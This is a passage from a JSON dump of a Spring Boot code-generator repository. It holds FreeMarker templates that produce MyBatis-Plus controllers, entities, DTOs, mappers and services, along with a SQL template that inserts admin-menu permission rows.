#if($columns.size() != ${velocityCount}) ,  #end\n#end\n#end\n    });\n</script>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/menu.sql.ftl",
    "content": "-- 菜单SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nVALUES ('1', '${classInfo.classComment}', 'generator/${classInfo.className?uncap_first}', NULL, '1', 'config', '6');\n\n-- 按钮父菜单ID\nset @parentId = @@identity;\n\n-- 菜单对应按钮SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '查看', null, 'generator:${classInfo.className?uncap_first}:list,generator:${classInfo.className?uncap_first}:info', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '新增', null, 'generator:${classInfo.className?uncap_first}:save', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '修改', null, 'generator:${classInfo.className?uncap_first}:update', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '删除', null, 'generator:${classInfo.className?uncap_first}:delete', '2', null, '6';\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v1/pluscontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.util.ReturnT;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v1/plusentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(type = IdType.AUTO)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v1/plusmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className};\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}> pageAll(${classInfo.className} queryParamDTO,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className} queryParamDTO);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v1/plusservice.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/plus-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}VO;\nimport ${packageName}.dto.${classInfo.className}DTO;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.bjc.lcp.system.common.utils.DataResult;\nimport org.springframework.web.servlet.ModelAndView;\nimport javax.annotation.Resource;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    //@Autowired\n    //private CntService cntService;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public DataResult add(@Validated(${classInfo.className}VO.Create.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return DataResult.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public DataResult delete(@Validated(${classInfo.className}VO.Delete.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return DataResult.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public DataResult delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        return DataResult.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public DataResult update(@Validated(${classInfo.className}VO.Update.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            return DataResult.fail(\"数据不存在\");\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.updateById(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public DataResult getOne(@RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return DataResult.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public DataResult listByPage(@RequestBody ${classInfo.className}VO ${classInfo.className?uncap_first}) {\n        Page page = new Page(${classInfo.className?uncap_first}.getPage(), ${classInfo.className?uncap_first}.getLimit());\n        ${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(${classInfo.className?uncap_first}, dto);\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        IPage<${classInfo.className}Entity> iPage = ${classInfo.className?uncap_first}Service.page(page, queryWrapper);\n        return DataResult.success(iPage);\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-查询全部列表数据\")\n    @RequestMapping(value = \"/list\",method = {RequestMethod.GET,RequestMethod.POST})\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:list\")\n    public DataResult findListByPage(@RequestBody ${classInfo.className}VO ${classInfo.className?uncap_first}) {\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n<#else>\n        if (!ObjectUtils.isEmpty(${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}())) {\n            queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, ${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}());\n        }\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        return DataResult.success(list);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/plus-dto.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.dto;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable; \nimport com.bjc.lcp.system.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}DTO  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}DTO() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/plus-entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.bjc.lcp.system.entity.BaseEntity;\n<#assign isSwagger=false />\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\n@TableName(\"${classInfo.tableName}\")\npublic class ${classInfo.className}Entity  extends BaseEntity  implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if fieldItem.isPrimaryKey==true>@TableId(value = \"${fieldItem.columnName}\" ,type = IdType.AUTO )<#else>@TableField(value = \"${fieldItem.columnName}\" )</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Entity() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/plus-mapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/plus-service.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-v2/plus-serviceimpl.ftl",
